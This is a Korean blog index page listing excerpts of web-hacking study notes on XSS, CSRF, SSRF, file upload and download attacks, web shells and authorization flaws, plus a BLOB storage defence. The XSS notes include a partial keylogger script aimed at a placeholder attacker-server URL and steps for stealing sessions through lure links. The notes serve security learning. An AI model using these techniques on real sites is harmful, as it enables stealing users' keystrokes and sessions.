본문 바로가기

해킹/Web Hacking

(29)
[13주차] 스터디 정리 - 현업의 프로세스 흐름, 모의해킹 보고서 보호되어 있는 글입니다.
[12주차] 스터디 정리 - 인증/인가 취약점 인증 / 인가 취약점 * 인증 : 로그인 인증. -> 그 사람이 맞는지 확인하는 작업. * 인가 : -> 허락된 사람에게 어떤 권한을 부여 권한이 없는 사람이 어떤 행동을 하면 전부 인가 취약점으로 분류 [-] HSTS 강제로 https 연결 ctf.segfaulthub.com 크롬 HSTS 삭제, 해제 * Case 1. 인증 우회. -> 클라이언트 측에서 인증이 일어나면 문제가 일어날 수 있음 원래라면 if (로그인 성공) { } else { } 해야 하는데, 시작하자마자 메인페이지가 나오고 login.php로 이동되는 식 2. intercept가 on 되어있는데도 버튼을 눌렀을 때 잡히는 게 없다. 이는 권한이 없다는 판단을 서버가 하는 게 아니라 브라우저 측에서 하고 있다는 의미이다. 따라서 js에..
File Upload 취약점 대응 방안 - BLOB / CLOB 구현 이번에는 File Upload 공격을 막을 수 있는 BLOB 저장 방식을 구현해보겠습니다. File Upload 취약점이라는 건 서버에 공격자가 업로드한 파일이 저장되고, 그 파일을 실행시킬 수 있기 때문에 발생하는데요, 하지만 BLOB 형식인 긴 문자열의 데이터로 이미지나 파일을 저장시킨다면 이는 File Upload 공격에 대한 완벽한 대비책이 됩니다. BLOB ( Binary Large Object ) JavaScript에서 Blob은 이미지, 사운드, 비디오 같은 멀티미디어 데이터를 다룰 때 사용합니다. BLOB TINYBLOB MEDIUMBLOB LONGBLOB 이 중, LONGBLOB은 4GB까지의 데이터를 저장가능합니다. 터미널을 열고 다음과 같은 코드를 입력해 blob 을 저장할 테이블을 ..
[11주차] 해킹 스터디 정리 - File Download 공격, LFI 취약점 [File Upload] 취약점 이유 > 업로드 되는 파일을 검증X 공격 시나리오 1. 웹 쉘 (리버스 쉘을 업로드하기 전 poc같은 느낌) 2. 도스 공격 3. 디페이스공격 index.html 4. 페이지 변조. 피싱 공격. 5. 악성코드 유포. * 대응 방법! 1. 업로드 되는 파일 DB에 저장. -> CLOB / BLOB 으로 설정하면 파일을 DB에 저장할 수 있음 (결국 웹서버가 아닌 다른 곳에 저장할 수 있게 만들면 어디든 가능) > 이미지 파일도 바이너리 형식으로 저장시킴 2. NAS (Network Attatched Storage : 파일 서버) : LAN으로 연결하는 외장 하드디스크 -> 업로드 파일이 저장되는 서버를 웹서버와 분리. 3. 파일 검증. - 확장자 검증 - 파일 시그니쳐 검증..
[10주차] 해킹 스터디 정리 - File Upload 공격 ** 모의해킹 워라벨 -> 정보보안팀 모의해킹 팀. 보안컨설팅. IT -- File Upload What : 공격자가 임의의 파일을 업로드 할 수 있는 공격 -> 웹 쉘. -> 서버 장악. 웹 쉘이라는 건 사실 한 줄로도 만들 수 있음 ** Point ** 1. 우리가 웹 서버에서 실행할 수 있는 파일 2. 그걸 실행할 수 있어야함. (가장 중요) -> 업로드된 파일의 위치를 알아야 함. 만약 mal.php 라는 파일이 있다면? 웹 브라우저로 우리가 올린 파일을 요청하면 됨. 그럼 was에서 php 파일을 실행하고 우리(요청자)에게 전해주게 됨 웹 쉘을 띄웠을 때 가장 먼저 대부분 어떤 일을 할까? 대부분 소스코드를 탈취함 ** 소스코드 탈취. -> DB를 탈취 한다는 말과 동일 > 왜냐면 DB의 계정 ..
[9주차] 해킹 스터디 정리 - CSRF Token, SSRF, File Upload 공격 CSRF 공격 Remind > 요청이 서버에 날라간다. -WHERE > 모든 요청 -> 컨설턴트 주관 -> "비밀번호 변경" -> 게시판 글을 작성 CSRF (1) GET method > URL > 로그인 한 다음에 볼 수 있는 페이지 (2) POST method > 무조건 XSS 공격 포인트를 찾아야 함 -> 같은 도메인에서. 왜 꼭 같은 도메인?! -> 세션을 이용하기 위해서! 예전에는 공격자 사이트에 접속만 해도 모든 입력 정보를 받을 수 있었다. 최근에는 좀 더 똑똑해져서 도메인 별로 쿠키를 다르게 뿌려준다. (3) Referrer Bypass -> meta (4) CSRF Token -> 요청을 위조할 수 있다. -> XSS 공격이 있다면 Bypass 가능. 게시판이 위 코드를 복붙해서 원하는 ..
[8주차] 해킹 스터디 정리 - XSS Bypass, 대응 방안, CSRF 공격 - XSS Bypass (우회 방법) > Anti XSS Bypass -> Black List 필터링 --> WAF의 기본 속성 (Web Application Firewall) ex ) 글자 제한이 있을 때 미리 짜놓은 스크립트를 준비해놓고 src로 주입가능 [3]대소문자 혼용 그런데 이건 어떻게 공격으로 연결시킬까? POST 방식을 GET방식으로 바꿔서 링크를 딴다. 그 후, 살포해서 공격 가능 keylogger 삽입 KeyLogger 코드 -- XSS Keylogger var keys = ""; var hackUrl = '공격서버 url' document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCo..
[7주차] 해킹 스터디 정리 - Reflected XSS, DOM XSS cookie or board=test 5 ) 세션 탈취 코드를 파라미터에 삽입한다. board=test 6 ) 이 코드 URL을 사회공학기법을 이용해 사용자들에게 누르게 하면 사용자의 세션을 탈취할 수 있다. ex ) 연봉 재협상, 긴급공지 등 궁금증을 자극해 눌러볼수 밖에 없게 만듬 -- DOM Based XSS DOM (Document object Model) : 객체를 제어하는 과정에서 발생하는 XSS 공격. DOM은 자바스크립트에서 접근할 수 있도록 각종 API를 제공해 개발자에게 굉장히 편리한 기능인데, 이를 잘못 사용할 경우 XSS나 개발자가 의도한 동작과 다르게 동작시킬 수 있는 취약점이 발생할 수 있다. 이 공격도 서버에 저장 하지 않고 공격하는 기법이면서 서버로 요청을 보내지 않아도 스크..